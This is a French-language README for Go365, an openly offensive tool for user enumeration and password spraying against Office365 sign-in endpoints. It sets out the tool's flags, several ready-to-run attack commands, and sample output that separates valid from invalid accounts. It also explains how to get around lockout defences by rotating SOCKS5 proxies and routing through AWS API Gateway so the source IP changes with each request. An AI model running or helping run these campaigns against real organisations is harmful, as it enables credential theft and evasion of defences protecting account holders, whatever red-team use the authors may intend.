
Un outil d'attaque pour utilisateurs Office365
Veuillez lire l'intégralité de ce README avant d'utiliser Go365 !
Go365 est un outil conçu pour effectuer des attaques d'énumération d'utilisateurs* et de devinettes de mots de passe sur les organisations qui utilisent Office365 (maintenant/bientôt Microsoft365). Go365 utilise un point de terminaison d'API SOAP unique sur login.microsoftonline.com que la plupart des autres outils n'utilisent pas. Lorsqu'il est interrogé avec une adresse e-mail et un mot de passe, le point de terminaison répond avec un code d'authentification et d'autorisation Azure AD. Ce code est ensuite traité par Go365 et le résultat est affiché à l'écran ou dans un fichier de sortie.
* L'énumération d'utilisateurs est effectuée en conjonction avec une tentative de devinette de mot de passe. Ainsi, il n'y a pas de drapeau ou de fonctionnalité spécifique pour effectuer uniquement l'énumération d'utilisateurs. Au lieu de cela, effectuez votre première attaque de devinette de mot de passe, puis analysez les résultats pour trouver les utilisateurs valides.
Téléchargez un binaire pré-compilé pour votre OS ICI.
Téléchargez le code source et compilez localement.
go build Go365.go
$ ./Go365
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
Version : 2.0
Auteurs : paveway3, h0useh3ad, S4R1N, EatonChips
Utilisation :
-h Affiche ce truc
Requis - Point de terminaison :
-endpoint [rst ou graph] Spécifiez quel point de terminaison utiliser
: (-endpoint rst) *Classic Go365 !* login.microsoftonline.com/rst2.srf. Requête SOAP XML avec réponse XML
: (-endpoint graph) login.microsoft.com/common/oauth2/token. Requête HTTP POST avec réponse JSON
Requis - Noms d'utilisateur et mots de passe :
-u <string> Nom d'utilisateur unique à tester
: Nom d'utilisateur avec ou sans "@domain.com"
: Doit également fournir le drapeau -d pour spécifier le domaine
: (-u [email protected])
-ul <file> Liste de noms d'utilisateur à utiliser (remplace -u)
: Le fichier doit contenir un nom d'utilisateur par ligne
: Les noms d'utilisateur peuvent avoir "@domain.com"
: Si aucun domaine n'est spécifié, le domaine -d est utilisé
: (-ul ./usernamelist.txt)
-p <string> Mot de passe à essayer
: Entourez de guillemets simples s'il contient des caractères spéciaux
: (-p password123) ou (-p 'p@s$w0|2d')
-pl <file> Liste de mots de passe à utiliser (remplace -p)
: Le fichier doit contenir un mot de passe par ligne
: Le drapeau -delay peut être utilisé pour inclure une pause entre chaque série de tentatives
: (-pl ./passwordlist.txt)
-up <file> Liste d'userpass à utiliser (remplace toutes les options ci-dessus)
: Un nom d'utilisateur et un mot de passe séparés par ":" par ligne
: Attention aux noms d'utilisateur en double !
: (-up ./userpasslist.txt)
Requis/Optionnel - Domaine :
-d <string> Domaine à tester
: Utilisez ceci si le nom d'utilisateur ou la liste de noms d'utilisateur n'inclut pas "@targetcompany.com"
: (-d targetcompany.com)
Optionnel :
-w <int> Temps d'attente entre les tentatives en secondes.
: Par défaut : 1 seconde. 5 secondes recommandées.
: (-w 10)
-delay <int> Délai (en secondes) entre les pulvérisations lors de l'utilisation d'une liste de mots de passe.
: Par défaut : 60 minutes (3600 secondes) recommandées.
: (-delay 7200)
-o <string> Fichier de sortie pour écrire
: Ajoutera si le fichier existe, sinon un fichier est créé
: (-o ./Go365output.out)
-proxy <string> Serveur proxy SOCKS5 unique à utiliser
: Adresse IP et port séparés par ":"
: Proxy SOCKS5
: (-proxy 127.0.0.1:1080)
-proxyfile <string> Un fichier avec une liste de serveurs proxy SOCKS5 à utiliser
: Adresse IP et port séparés par ":" sur chaque ligne
: Sélectionne aléatoirement un serveur proxy à utiliser avant chaque requête
: (-proxyfile ./proxyfile.txt)
-url <string> Point de terminaison pour envoyer les requêtes
: 'Invoke URL' de Amazon API Gateway
: Très recommandé d'utiliser cette option. Googlez-le, ou
: jetez un œil ici : https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
: (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)
-debug Mode débogage.
: Imprimer la réponse xml
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
Vous pouvez même planifier toute votre campagne de devinettes de mots de passe en utilisant les drapeaux -pl et -delay :)
./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200
*Astuce : Si vous obtenez beaucoup de réponses "Compte verrouillé", alors vous voudrez peut-être utiliser un proxy ou une passerelle AWS.
astuce : Vous ne verrouillez probablement pas réellement les comptes.
Après un certain nombre de requêtes sur un domaine cible, les résultats peuvent commencer à signaler que les comptes sont verrouillés.
Une fois cette défense déclenchée, l'énumération d'utilisateurs devient peu fiable car les requêtes pour les utilisateurs valides et invalides signaleront aléatoirement que leurs comptes ont été verrouillés.
...
[-] Utilisateur non trouvé : [email protected]
[-] Utilisateur non trouvé : [email protected]
[-] Utilisateur valide, mais mot de passe invalide : [email protected]
[!] Compte verrouillé : [email protected]
[-] Utilisateur valide, mais mot de passe invalide : [email protected]
[!] Compte verrouillé : [email protected]
[!] Compte verrouillé : [email protected]
[-] Utilisateur valide, mais mot de passe invalide : [email protected]
[-] Utilisateur valide, mais mot de passe invalide : [email protected]
[!] Compte verrouillé : [email protected]
...
Il s'agit d'un mécanisme défensif déclenché par le nombre de requêtes d'utilisateurs valides sur le domaine cible dans une certaine période de temps. Le nombre de tentatives et la période de temps varieront en fonction du domaine cible car les seuils peuvent être personnalisés par l'organisation cible.
Le mécanisme défensif est basé sur le temps et l'adresse IP. Go365 fournit des options pour inclure un temps d'attente entre les requêtes et des options de proxy pour distribuer la source des requêtes. Pour contourner les mécanismes défensifs sur votre domaine cible, utilisez un temps d'attente long et plusieurs serveurs proxy.
Un temps d'attente d'AU MOINS 15 secondes est recommandé. -w 15
Si vous obtenez toujours des réponses "compte verrouillé", commencez à utiliser des proxies pour vos requêtes. Les options de proxy n'ont été testées qu'avec des proxies dynamiques SOCKS5 SSH (ssh -D <port> user@proxyserver)
Créez un tas de proxies SOCKS5 sur DO ou AWS ou Vultr ou autre et créez un fichier qui ressemble à ceci :
127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...
L'outil parcourra aléatoirement les serveurs proxy fournis et attendra le temps spécifié entre les requêtes.
-w 15 -proxyfile ./proxies.txt
De plus, une URL de point de terminaison peut être spécifiée pour que cet outil puisse interagir avec Amazon API Gateway. Configurez une passerelle pointant vers le point de terminaison https://login.microsoftonline.com/rst2.srf, puis définissez le paramètre -url sur l' Invoke URL fournie. Votre IP devrait être changée à chaque requête.
-url https://justanexample.execute-api.us-east-2.amazonaws.com/login